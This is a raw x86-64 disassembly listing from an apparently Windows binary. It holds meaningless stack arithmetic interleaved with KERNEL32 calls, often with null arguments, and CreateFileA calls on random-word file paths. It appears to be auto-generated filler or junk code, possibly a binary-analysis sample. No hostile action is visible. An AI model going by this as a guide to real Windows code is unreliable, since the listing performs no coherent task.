mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:pantechniconDrunkenly
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc660], rax
lea rax, [rsp + 0x93d0]
mov qword [rsp + 0xc668], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rax, [rsp + 0x85]
mov qword [0x1401e79d0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x434c], eax
movzx eax, word [rsp + 0xdd8]
mov rcx, qword [rsp + 0xa650]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfcc], ax
movsx eax, word [rsp + 0x10d0]
mov rcx, qword [rsp + 0xbd08]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa528]
mov word [rcx], ax
mov rcx, qword [rsp + 0xa1a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c4c], eax
lea rcx, [rsp + 0x25520]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [rsp + 0xd34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1178], ax
lea rax, [rsp + 0xdd]
mov qword [rsp + 0xc670], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [0x1401e78a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe34], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xc678], rax
mov rax, qword [rsp + 0x9bf0]
mov eax, dword [rax]
mov dword [rsp + 0x4c50], eax
mov eax, dword [rsp + 0x4780]
mov ecx, dword [rsp + 0x4ad0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b8c], eax
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1134], ax
movzx ecx, word [rsp + 0xc94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf98], ax
mov rax, qword [rsp + 0xbe48]
mov rcx, qword [rsp + 0x9d28]
mov qword [rsp + 0xc680], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb298], rax
lea rax, [rsp + 0xb0d8]
mov qword [rsp + 0xc688], rax
mov rax, qword [rsp + 0xb180]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c]
shl eax, cl
mov rcx, qword [0x1401e7818]
mov byte [rcx], al
mov rax, qword [rsp + 0x9888]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x63]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:Duly_fibersCoining
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc690], rax
movzx eax, word [rsp + 0x10ec]
mov word [rsp + 0x120c], ax
movzx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0xb220]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x165], al
lea rax, [rsp + 0x12f]
mov qword [rsp + 0xc698], rax
mov rax, qword [rsp + 0x92d8]
mov rcx, qword [rsp + 0xa058]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa798], rax
mov rax, qword [rsp + 0x8cd0]
mov rcx, qword [rsp + 0x9b00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4998], eax
lea rax, [rsp + 0x4488]
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0xafc0]
mov rcx, qword [rsp + 0x98a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb730]
mov qword [rcx], rax
movsx eax, word [rsp + 0xcf8]
mov rcx, qword [rsp + 0xb9d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7580], ax
lea rax, [rsp + 0x8b]
mov qword [rsp + 0xc6a8], rax
movzx eax, word [rsp + 0xbd8]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa9f0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x9250]
movzx eax, word [rax]
movzx ecx, word [0x1401e74b4]
sub eax, ecx
mov word [rsp + 0xea4], ax
lea rax, [rsp + 0x68]
mov qword [rsp + 0xc6b0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x73ce
mov rcx, qword [rsp + 0xb198]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c0c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:_theoremsCarouseInciterLongish
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc6b8], rax
mov rax, qword [rsp + 0xaa30]
mov rcx, qword [rsp + 0xa848]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc300]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9a68], rax
lea rax, [rsp + 0x9670]
mov qword [rsp + 0xc6c0], rax
mov rax, qword [rsp + 0xaba8]
mov ecx, dword [rsp + 0x485c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b18], eax
mov rax, qword [rsp + 0xa0c0]
mov rcx, qword [rsp + 0xb008]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x43f8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [0x1401e74c8]
movzx eax, word [rax]
mov word [rsp + 0x1210], ax
lea rax, [rsp + 0xddc]
mov qword [0x1401e79d8], rax
movsx eax, byte [rsp + 0x148]
movsx ecx, byte [rsp + 0x15c]
xor eax, ecx
mov byte [rsp + 0x171], al
movzx eax, byte [rsp + 0x124]
mov byte [rsp + 0x199], al
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a20], eax
movsx eax, word [0x1401e6124]
movsx ecx, word [rsp + 0xc3c]
shl eax, cl
mov rcx, qword [rsp + 0xa280]
mov word [rcx], ax
lea rax, [rsp + 0x47fc]
mov qword [rsp + 0xc6c8], rax
mov eax, dword [rsp + 0x46c4]
movzx ecx, al
mov eax, dword [rsp + 0x4420]
shr eax, cl
mov dword [rsp + 0x4b28], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xc6d0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0xb2f8]
mov rcx, qword [rsp + 0x9e80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa8b0]
mov qword [rcx], rax
lea rax, [rsp + 0xc608]
mov qword [rsp + 0xc6d8], rax
movzx ecx, word [rsp + 0xbfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11d8], ax
mov rax, qword [rsp + 0xafc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa100]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaa38]
mov byte [rcx], al
movsx eax, byte [rsp + 0x177]
movsx ecx, byte [rsp + 0xcf]
and eax, ecx
mov byte [0x1401e60a6], al
lea rax, [rsp + 0x11b8]
mov qword [rsp + 0xc6e0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xc6e8], rax
mov rax, qword [rsp + 0x96e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd2]
add eax, ecx
mov byte [rsp + 0x5e], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x5fb9
mov rcx, qword [rsp + 0xb078]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4988], eax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0x8c]
add eax, ecx
mov rcx, qword [rsp + 0xa790]
mov byte [rcx], al
mov rax, qword [rsp + 0xace0]
mov qword [rsp + 0xc6f0], rax
mov rax, qword [rsp + 0xaa18]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48e4], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4988], eax
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
mov qword [rsp + 0xc6f8], rax
mov rax, qword [rsp + 0x94e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4228]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb120]
mov dword [rcx], eax
movzx eax, word [rsp + 0x109c]
movzx ecx, word [0x1401e60e8]
sub eax, ecx
mov word [rsp + 0xea4], ax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x9208]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e746f], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:protectionists_allocatorsPoachers
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc700], rax
movzx eax, byte [rsp + 0xe6]
mov byte [rsp + 0x19a], al
movsx eax, word [rsp + 0xb84]
movsx ecx, word [0x1401e77cc]
add eax, ecx
mov word [rsp + 0x1050], ax
mov rax, qword [rsp + 0xc110]
movzx eax, word [rax]
mov word [rsp + 0x1214], ax
mov rax, qword [rsp + 0xb520]
mov rcx, qword [rsp + 0x9e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb448], rax
mov rax, qword [rsp + 0xbfb8]
mov rcx, qword [0x1401e7420]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb110], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x457c]
mov qword [rsp + 0xc708], rax
mov eax, dword [rsp + 0x4730]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0xc710], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc710]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x456c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xc6e8], rax
lea rax, [rsp + 0x1164]
mov qword [rsp + 0xc718], rax
movsx eax, word [rsp + 0xd78]
movsx ecx, word [rsp + 0xce0]
sar eax, cl
mov rcx, qword [0x1401e74f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc120]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6d0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf84], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rax, [rsp + 0x183]
mov qword [rsp + 0xc720], rax
mov rax, qword [rsp + 0xb638]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb2]
and eax, ecx
mov byte [rsp + 0x15b], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rcx, str.marigold_Greek
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1218], ax
mov rax, qword [rsp + 0x9d18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1158]
sub eax, ecx
mov word [rsp + 0x119c], ax
lea rax, [0x1401e7420]
mov qword [rsp + 0xc728], rax
lea rcx, [rsp + 0x9898]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xc550]
mov rcx, qword [rsp + 0xc708]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44a4], eax
mov eax, dword [rsp + 0x48c8]
mov dword [rsp + 0x4c54], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xb2d0], rax
movzx ecx, word [rsp + 0xd94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0xc6c0]
mov rcx, qword [rsp + 0xa7a8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb128]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xc0f0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x43f0], eax
lea rax, [rsp + 0xd44]
mov qword [0x1401e79e0], rax
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xb050]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc2e8]
mov byte [rcx], al
lea rax, [0x1401e74c2]
mov qword [rsp + 0xc730], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0xbab0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc248]
mov byte [rcx], al
lea rax, [rsp + 0x1160]
mov qword [rsp + 0xc738], rax
mov rax, qword [rsp + 0xc040]
mov rcx, qword [rsp + 0x96d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa7a8], rax
mov eax, dword [rsp + 0x47a8]
mov ecx, dword [rsp + 0x44ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4598], eax
mov eax, dword [rsp + 0x4bbc]
mov dword [rsp + 0x4c58], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0x9c10]
mov rcx, qword [rsp + 0xb330]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x99c0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xa5b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xd78]
mov qword [0x1401e79e8], rax
lea rax, [rsp + 0xe9c]
mov qword [rsp + 0xc740], rax
mov rax, qword [rsp + 0x98f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9240]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xb6], al
lea rax, [0x1401e604b]
mov qword [rsp + 0xc748], rax
movzx eax, word [rsp + 0xf0c]
mov rcx, qword [rsp + 0xacb8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xe84], ax
mov eax, dword [0x1401e6018]
mov ecx, dword [rsp + 0x49e4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafa8]
mov dword [rcx], eax
lea rax, [rsp + 0xaac0]
mov qword [rsp + 0xc750], rax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xa908]
mov qword [rsp + 0xc758], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc758]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9288], rax
mov eax, dword [rsp + 0x43e8]
mov dword [rsp + 0x4c5c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
movzx eax, word [0x1401e6088]
mov rcx, qword [rsp + 0xacb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401e6048], ax
mov rax, qword [rsp + 0x94d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb8]
and eax, ecx
mov rcx, qword [rsp + 0x9b50]
mov word [rcx], ax
mov rcx, qword [rsp + 0xb300]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [0x1401e75f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9e40]
mov byte [rcx], al
lea rcx, [rsp + 0x26b78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x5f]
mov qword [rsp + 0xc760], rax
lea rdx, [rsp + 0x28110]
mov rcx, qword [rsp + 0xb4e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x44d8], eax
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [rsp + 0x199]
sub eax, ecx
mov rcx, qword [rsp + 0xa518]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4560], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [rsp + 0x95e8]
mov qword [rsp + 0xc768], rax
mov rcx, qword [rsp + 0x9a00]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4518], eax
mov rax, qword [rsp + 0x9698]
mov rcx, qword [rsp + 0xac20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45b4], eax
mov rax, qword [rsp + 0xadd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4818]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48dc], eax
mov rax, qword [rsp + 0xba60]
mov rax, qword [rax]
mov qword [rsp + 0xc770], rax
mov rax, qword [rsp + 0xb108]
movzx eax, byte [rax]
mov byte [0x1401e74e5], al
mov rax, qword [rsp + 0xc760]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd6], al
lea rax, [rsp + 0xbe8]
mov qword [rsp + 0xc778], rax
movzx ecx, word [rsp + 0xd9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe40]
sub eax, ecx
mov word [rsp + 0x1140], ax
mov rax, qword [rsp + 0xb220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb2c0]
mov byte [rcx], al
lea rax, [rsp + 0x4800]
mov qword [rsp + 0xc780], rax
mov rax, qword [rsp + 0xc078]
mov rcx, qword [0x1401e7410]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9318], rax
mov rax, qword [rsp + 0xb008]
mov eax, dword [rax]
mov dword [rsp + 0x4c60], eax
mov rax, qword [rsp + 0xa690]
mov rcx, qword [rsp + 0xbfe0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9a58], rax
mov rax, qword [0x1401e7450]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9440]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401e79d8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4b40], eax
mov rax, qword [rsp + 0xad10]
movzx eax, word [rax]
mov word [rsp + 0x1220], ax
movsx eax, word [rsp + 0x106c]
movsx ecx, word [rsp + 0xc04]
xor eax, ecx
mov word [rsp + 0xefc], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xc598]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1084]
or eax, ecx
mov rcx, qword [rsp + 0xb0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4b0]
movzx eax, byte [rax]
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], al
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0xbbc8]
mov qword [rsp + 0xc788], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc788]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xafd8], rax
mov rcx, qword [rsp + 0x95b0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4c64], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xc5e8], rax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4be8], eax
lea rax, [rsp + 0x4420]
mov qword [rsp + 0xc790], rax
mov rax, qword [rsp + 0xa238]
mov rcx, qword [rsp + 0xc6f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9fb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x43a8]
mov ecx, dword [rsp + 0x45d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0xc5c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x156]
add eax, ecx
mov byte [str.M__n_], al
xor r9d, r9d
lea r8, [rsp + 0x95a0]
mov rdx, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0xc498]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c68], eax
lea rax, [rsp + 0xba]
mov qword [rsp + 0xc798], rax
mov dword [rsp + 0x20], 0x202
mov r9d, 0x1f84
mov r8d, 0x3d4
mov edx, 0x29dc
mov rcx, qword [rsp + 0xa9b8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x46dc], eax
movzx eax, word [rsp + 0x1164]
mov rcx, qword [0x1401e76e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae20]
mov word [rcx], ax
lea rcx, [rsp + 0xb720]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x9a]
mov qword [rsp + 0xc7a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xafb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x181], al
mov rax, qword [rsp + 0xbe98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa330]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb268], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov dword [rsp + 0x4c6c], eax
mov rax, qword [rsp + 0xc4f8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x43bc]
mov rcx, qword [rsp + 0x9620]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb360]
mov rax, qword [rax]
mov qword [rsp + 0xc7a8], rax
lea rdx, [rsp + 0x4358]
mov rcx, qword [rsp + 0xa7c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48f4], eax
movsx eax, word [rsp + 0xdc4]
movsx ecx, word [rsp + 0xd04]
and eax, ecx
mov word [0x1401e614c], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4b98], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:MartiansReappearance
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc7b0], rax
movzx eax, word [rsp + 0xc24]
movzx ecx, word [rsp + 0xe60]
add eax, ecx
mov word [rsp + 0xd58], ax
movzx eax, byte [rsp + 0x168]
movzx ecx, byte [rsp + 0xd3]
sub eax, ecx
mov rcx, qword [rsp + 0xc6b0]
mov byte [rcx], al
movzx eax, word [rsp + 0xd04]
mov word [rsp + 0x1224], ax
mov rax, qword [rsp + 0xade0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa3a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0xaa98]
mov eax, dword [rax]
mov dword [rsp + 0x4c70], eax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9160]
sar rax, cl
mov qword [rsp + 0xa5a8], rax
lea rax, [rsp + 0xaaa0]
mov qword [rsp + 0xc7b8], rax
mov rax, qword [rsp + 0x9198]
mov eax, dword [rax]
mov ecx, dword [0x1401e6014]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x45bc], eax
movsx eax, word [rsp + 0x117c]
movsx ecx, word [rsp + 0x1158]
or eax, ecx
mov rcx, qword [rsp + 0xc6e0]
mov word [rcx], ax
lea rax, [rsp + 0x125]
mov qword [0x1401e79f0], rax
mov rax, qword [0x1401e75c0]
movzx eax, word [rax]
mov word [rsp + 0x1228], ax
movsx eax, byte [rsp + 0x5b]
movsx ecx, byte [rsp + 0x77]
shl eax, cl
mov byte [rsp + 0x171], al
lea rcx, [rsp + 0x29ea0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4a40], eax
movzx eax, byte [rsp + 0xb5]
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0xb080]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa3f8], rax
mov rcx, qword [rsp + 0xbf60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c74], eax
mov rax, qword [rsp + 0xb1f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b30], eax
mov eax, dword [rsp + 0x4a0c]
mov dword [rsp + 0x4c78], eax
mov rax, qword [rsp + 0xa958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb508]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb510], rax
lea rax, [rsp + 0x1154]
mov qword [rsp + 0xc7c0], rax
mov rax, qword [rsp + 0xc2a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb450]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6052], al
mov rax, qword [rsp + 0xa710]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e605b]
sub eax, ecx
mov byte [rsp + 0x193], al
mov rax, qword [rsp + 0xaba0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbe]
sub eax, ecx
mov byte [rsp + 0xb2], al
lea rax, [rsp + 0xe50]
mov qword [rsp + 0xc7c8], rax
mov eax, dword [rsp + 0x45a8]
mov ecx, dword [rsp + 0x4348]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b68], eax
lea rax, [rsp + 0x9bd8]
mov qword [rsp + 0xc7d0], rax
mov rax, qword [rsp + 0xb7e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4930]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae00]
mov dword [rcx], eax
lea rax, [rsp + 0xbb30]
mov qword [rsp + 0xc7d8], rax
movzx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0xa1c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x8fd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6d0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e6010], ax
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4910], eax
mov rax, qword [rsp + 0xa8f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaee0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
lea rax, [rsp + 0xd7c]
mov qword [rsp + 0xc7e0], rax
movsx eax, word [rsp + 0xd7c]
mov rcx, qword [rsp + 0xb9c0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc388]
mov word [rcx], ax
lea rax, [rsp + 0x4a34]
mov qword [rsp + 0xc7e8], rax
mov rax, qword [rsp + 0xc100]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9348]
mov qword [rsp + 0xc7f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7f0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8da0], rax
